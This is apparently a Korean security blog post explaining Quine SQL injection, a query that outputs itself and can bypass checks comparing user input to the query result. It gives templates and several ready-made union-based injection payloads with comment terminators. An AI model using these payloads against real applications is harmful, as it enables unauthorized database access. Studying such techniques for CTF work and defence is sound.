:
위키백과에 따르면,
Quine은 소스코드를 그대로 출력으로 반환하는 프로그램을 의미한다.
즉, Quine SQL Injection은 입력 값을 그대로 결과 값으로 반환하는 SQL Injection의 형태를 의미한다.
:
아래의 쿼리는 Quine SQL Injection이 가능한 샘플 쿼리이다.
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine;
이를 실행해보면, 내가 실행한 쿼리와 결과 값이 동일하게 출력되게 된다.
해당 쿼리에서 필수적으로 필요한 부분만 정리하면 아래와 같다.
select replace(replace('select replace(replace("$",char(34),char(39)),char(36),"$")',char(34),char(39)),char(36),'select replace(replace("$",char(34),char(39)),char(36),"$")');
이러한 특성을 SQL Injection에서 응용할 수 있다.
사용자 입력을 통해 단순 전달된 값과 쿼리의 결과 값이 동일한지 확인하는 검증로직이 존재할 때
이를 사용하면 우회가 가능하게 된다.
:
아래의 쿼리에서 필요에 따라 [prefix]와 [postfix] 부분에 자유롭게 부가문장을 삽입할 수 있다.
replace 함수에 의해 더블쿼트가 싱글쿼트로 변환된다는 것에 주의하자.
# 싱글쿼트가 필요한 경우
select replace(replace('[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]',char(34),char(39)),char(36),'[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]') [postfix];
# 더블쿼트가 필요한 경우
select replace(replace("[prefix] select replace(replace('$',char(39),char(34)),char(36),'$') [postfix]",char(39),char(34)),char(36),"[prefix] select replace(replace('$',char(39),char(34)),char(36),'$') [postfix]") [postfix];
:
prefix : a' union / postfix : -- -
a' union select replace(replace('a" union select replace(replace("$",char(34),char(39)),char(36),"$") as quine-- -',char(34),char(39)),char(36),'a" union select replace(replace("$",char(34),char(39)),char(36),"$") as quine-- -') as quine;
prefix : 0 union / postfix : #
0 union select replace(replace('0 union select replace(replace("$",char(34),char(39)),char(36),"$") as quine#',char(34),char(39)),char(36),'0 union select replace(replace("$",char(34),char(39)),char(36),"$") as quine#') as quine#;
prefix : a" union / postfix : #
a" union select replace(replace("a' union select replace(replace('$',char(39),char(34)),char(36),'$') #",char(39),char(34)),char(36),"a' union select replace(replace('$',char(39),char(34)),char(36),'$') #") #
prefix : a" union / postfix : -- -
a" union select replace(replace("a' union select replace(replace('$',char(39),char(34)),char(36),'$') -- -",char(39),char(34)),char(36),"a' union select replace(replace('$',char(39),char(34)),char(36),'$') -- -") -- -
[LOS] godzilla (0) | 2019.11.10 |
---|---|
[LOS] cthulhu_modsecurity(Version 3.1.0_201905) bypass SQLi (0) | 2019.09.25 |
[WEB] 503 error (0) | 2019.07.25 |
[WEB] Blind SQL Injection with ldap, bin, ord (0) | 2019.07.18 |
[DB] SQLite SQL Injection and Payload (0) | 2019.07.12 |